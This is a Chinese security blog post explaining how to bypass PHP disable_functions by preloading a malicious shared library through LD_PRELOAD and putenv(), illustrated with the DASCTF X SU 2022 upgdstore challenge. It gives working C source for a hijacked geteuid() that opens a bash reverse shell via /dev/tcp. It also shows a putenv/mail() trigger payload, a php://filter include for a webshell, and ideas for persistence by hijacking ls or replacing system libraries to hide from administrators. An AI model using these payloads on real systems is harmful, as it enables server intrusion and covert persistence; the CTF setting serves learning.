从绕过disable_functions到关于so的一些想法

通过恶意so文件去绕过disable_functions已经成为了一种常用的方式,但是为了方便小白理解,这里还是重新再讲解一下全部的流程,主要还是带动偏基础的师傅们一起思考,养成骚思路的思维。

什么是disable_functions?  

简单来说disable_funcitons就和他的直译一样,是对一些函数的禁用

我们可以在phpinfo()中查看

             

图片

在实际学习中,我们可以先利用phpinfo()进行信息收集,比如disable_funtions可以告诉我们哪些PHP函数被禁用

说白了,这里是禁用函数的地方,一个黑名单,如果拿到shell却执行不了命令,多半就是这里出了问题。

绕过这里的方法有很多,今天不是绕过总结,主要说其中的LD_PRELOAD & putenv() bypass disable_functions。

LD_PRELOAD & putenv() bypass disable_functions  

1、先介绍一下LD_PRELOAD  

LD_PRELOAD 是一个可选的 Unix 环境变量,包含一个或多个共享库或共享库的路径,加载程序将在包含 C 运行时库(libc.so)的任何其他共享库之前加载该路径。这称为预加载库。

也就是说它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。即我们可以自己生成一个动态链接库加载,以覆盖正常的函数库,也可以注入恶意程序,执行恶意命令。

简单来说一个正常程序在运行时会调用不同的连接,比如c,调用h,也可以直接调用so(win的话就是dll),这些链接库取使用他们的库

而LD_PRELOAD是一个环境变量,包含各种共享库的路径,通过这一点,我们可以影响程序运行时的连接。

那我们就可以自己生成一个动态链接库,LD_PRELOAD 绕过 disable_functions 的原理就是劫持系统函数,使程序加载恶意动态链接库文件,从而执行系统命令等敏感操作。

学过c的就知道,我们要引入头文件,才能执行一些库函数,而LD_PRELOAD就可以做到这个,就这么理解就好

2、那么如何利用呢  

(1)构造.so动态库文件  

由上面我们知道每个程序执行的时候会去动态链接库so文件里面找函数的位置,而我们的目的是让程序去执行我们自定义的动态链接库

LD_PRELOAD这个全局变量指定的so文件会在每个程序本身的so文件之前加载(说白了就是优先级高)

export                        #查看当前有的全局变量            
export LD_PRELOAD=./test.so    #将当前目录下的test.so文件加载到每个程序的动态链接库最前面            

查看一个程序执行了哪些函数,可以使用

readelf -s /usr/bin/id            
readelf -s /usr/sbin/sendmail            

其实就和c一样,一个程序在执行的时候,也会动态调用各种函数,可以用这个去查看程序具体调用了哪些函数,就像用c写一个程序,会到处调用函数一样。

比如id中使用了getuid

    20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getuid@GLIBC_2.2.5 (2)            

这里就可以看到Linux系统中id程序执行了什么

我们知道底层和c很接近,那么其实我们可以直接用c来构造动态库文件so只要换一个编译方法就好了

示例:

那么编写个so文件

test2.c

#include
#include
          
int getuid(){        
  if(getenv("LD_PRELOAD") == NULL){        
    return 0;        
  }        
  unsetenv("LD_PRELOAD");#解除捆绑,否则容易出现死循环的奇怪状况        
  system("echo 'hello' >hello.txt");        
}        
     

编译生成so文件

其实直接生成c差不多,只不过换了个方式,就和.h一样,只不过.h是静态连接

gcc -c -fPIC test2.c -o test2            
gcc --share test2 -o test2.so            

设置环境变量(注意以下环境是直接在linux中复现的)

export LD_PRELOAD=./test2.so            

这样,我们就成功加载了恶意so,当我们执行id时,调用的同名函数就是我们的恶意代码。

在php中如果把so文件传上去了后,可以利用putevn函数来设置全局变量(这是在php中的操作)

上面就已经完成了动态调用库的优先级更改了,但是在实际情况中,我们拿shell后只能执行php代码。

所以还有只能用php的情况。

(2)利用php本身能够执行外部程序的函数  

写在前面的话,函数挟持的大前提是我们可以上传文件并且已经知道了文件所在的路径,而且可以执行php代码。  

通过上面我们知道,当程序在进行的时候是会调用动态库里的,而php中虽然大部分都是自己的静态库,也有一些外置的程序函数,会调用动态库中的内容,必经不可能一个语言包就设置了所有的静态库,尤其有些系统接口时大伙都要用的只能换着来。

例如  

能够触发外部命令的函数有mail(),error_log(),这2个函数都是会调用sendmail命令,这个sendmail软件是linux下用来发送邮件的(如果没有可用使用apt-get install sendmail安装)

简单来说可以把mail()函数理解成sendmail软件的接口,执行了mail就会在php外部调用sendmail,从而触发动态库中间的函数

上面我们说过,php中用putenv可以修改环境变量

putenv("LD_PRELOAD=./test2.so");#首先得知道我们修改的恶意so文件所在的位置            
mail("","","","");            
//error_log("err",1,"","");            
?>            

这样就会成功把我们的恶意构造so文件给优先级拍到最高了

当然不一定要用mail(),别的外部程序都是可以的,只要知道它们是否调用了动态库,是否调用了其中的函数,我们的目的就是伪造其中的函数,达到函数挟持的目的

举个例子:  

这里直接用一次大赛的题目DASCTF X SU 2022 upgdstore writeup 来进行讲解

             

图片

进入题目发现是一个上传,随便上传了一下,有waf,而且还不少,但是允许上传php文件,而且会返回路径,可以直接访问

多次测试后发现应该是白名单,上传敏感关键字会提示它发现你了

             

图片

尝试截断绕过,成功!

             

图片

disable_functions看起来很长

但是仔细看会发现putenv和mail()函 数还没有被禁用

而且show_source也没有被禁用

这就可以直接尝试我们上面说的方法去绕过disable_functions了

接下来一切都向这边靠拢,但是大部分本土函数都被禁用(白名单)了,找不到利用的点

只能看有没有什么拓展可以利用

继续查看phpinfo()

发现gd库开启,并且没有被disable_functions禁用

             

图片

简单介绍一下gd库

             

图片

简单来说就是可以利用gd库远程获取图片,并且可以修改后缀名保存到当前目录

但是会被二次渲染,也就是说只要有一张绕过二次渲染的图片马,再挂载到自己的vps上,就可以成功getshell

拿本地自己的环境构造过二次渲染的图片马,如何构造网上都有,这里就不赘叙了,后期也许我们也会针对地出一篇文章(一些gd库的小trick)这一期主要还是说so。

             

图片

上传pd库代码,访问我们的vps,植入包含

接下来就是利用包含getshell

由于有waf,直接上传一个base64的一句话,然后用图片马伪协议包含执行

             

图片

http://xxx.con/uploads/3.php?A=php://filter/convert.base64-decode/resource=2b8b8e5570101ff79e9f1bb2967a0833.php            

成功getshell,也就是说目前已经完全绕过了waf。

接下来就是绕过disable_functions

通过so肯定要上传so,具体的绕过上传要通过上面的函数查看源码去绕过,这个题目的wp目前网上非常多,这里就不多赘述了,此处直接跳转到上传后的操作,避免文章太长。

我们可以上传了,此处就直接直接构造恶意.so文件

由于调用的是mail();函数,mail函数会加载动态链接库中的geteuid();函数,所以我们要伪装的函数就是geteuid();再用putenv伪造恶意动态链接库,执行恶意函数,叫函数挟持函数挟持就是这个原因

恶意.c文件如下:

#include
#include
#include
void payload() {        
    system("bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'");        
}        
int geteuid()        
{        
    if (getenv("LD_PRELOAD") == NULL) { return 0; }        
    unsetenv("LD_PRELOAD");        
    payload();        
}        
       

编译成so文件:

gcc xxx.c -o xxx.so -shared -fPIC            

然后上传

vps开启监听

             

图片

构造payload

1=putenv("LD_PRELOAD=/var/www/html/uploads/aaaaa.so");mail("","","","","");

用前面的伪协议去执行。

执行,触发恶意so文件,反弹成功。

             

图片

这就是利用恶意so,让php执行函数的同时,调用了恶意的库函数,从而触发了恶意代码。

那如果执行的不是函数而是一个程序呢?当然也是一样的。

那是不是意味着,如果我们构造了一个恶意so,替代了原本的动态链接库。只要运维执行了一个看起来很普通的命令,就会因为调用了恶意so从而触发了恶意代码,达到权限维持的目的呢?这当然是可以的。而且在windows中就有,win中的动态链接库是dll,这种方式,也叫做dll挟持。关于这点我们后面也会出篇文章,讲述这种权限维持的方式。

我们尝试深入。

linux下使用so文件所进行的骚操作  

通过上面的例子,我们已经熟悉了LD_PRELOAD,假设我们此刻已经拿到shell了,那我们就尝试利用这个特点,守护我们来之不易的shell。

(1)先来一个简单的维权思路  

我们前面分析了PHP的函数,知道了mail函数会调用geteuid(),也分析了linux中的id会调用getuid(),那么这里我们换成ls,来持续我们的思路。

思路还是一样的,查看ls会调用哪些函数  

readelf -Ws /usr/bin/ls

             

图片

依旧是选择一个库函数进行重写  

此处我们选择这个

             

图片

尝试构造恶意so

#include
#include
#include
void payload() {        
    printf("hack!!!");        
}        
int strncmp(const char*__s1, const char*__s2, size_t __n)        
{        
    if (getenv("LD_PRELOAD") == NULL) { return 0; }        
    unsetenv("LD_PRELOAD");        
    payload();        
}        
       

同样是用c来写

             

图片

编译

gcc -c -fPIC fake_so.c -o fake_so            
gcc --share fake_so -o fake_so.so            

             

图片

             

图片

如果出现了这种小报错,没关系,改成它的格式就行了,改成和标准库函数形参格式相等就行了,就比如这里我就通过查询库函数得到了它的形参。

然后就可以编译通过了。

使用 LD_PRELOAD 来设置 fake_so.so优先级

export LD_PRELOAD=./fake_so.so            

             

图片

执行ls

             

图片

成功执行我们的恶意代码。

如果这个地方是一个反弹shell,或者是写一个隐藏的木马,更或者,我们直接构造出来假的命令,让对方每一次使用命令排查,看到的都是我们给它看的,达到隐藏我们自身的目的,等等等等,不管怎么样,就由师傅们自己发散思路了。

(2)关于so的其他想法  

关于so的想法肯定不止这么一点,如果我们可以挟持函数,那我们可不可以挟持大一点,我们现在是通过LD_PRELOAD去修改环境变量让我们的恶意so被加载,其实这还是会留下残留的。

如果说我们可以确定一些动态链接库会被某些程序调用,我们是否可以替换呢?直接替换掉某些程序的动态链接库,只要程序被运行,就会执行一次恶意代码,即使运维排查文件也看不出什么,更或者更深入的操作等等等等怎么想都可以。

就像前文所说,本文主要还是带动偏基础的师傅们一起思考,就像比赛时有一些想法有些天马行空,或许有些是错的,但有些没准就正好打中了flag。最重要的是要养成骚套路的思路,也欢迎各位师傅关注麋鹿后面的文章。

麋鹿会在把自己天马行空的思路逐一复现之后,与windwos的dll挟持思路写一个动态链接库的总结一起发出。

希望各位读者看完我们的文章以后自己去实践一下,只有学到脑子里的东西才是自己的,如果遇到困难,可以加本人微信(i_still_be_milu)与麋鹿师傅一起探讨,炼心之路,就在脚下,我们一起成长。

同时欢迎各位同仁关注麋鹿安全,我们的文章会第一时间发布在公众号平台,如果不想错过我们新鲜出炉的好文,那就请扫码关注我们的公众号!(附上本人微信,欢迎各位同仁加我微信,和我探讨安全,同时欢迎同仁们的不吝指正)

img

  • 18
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值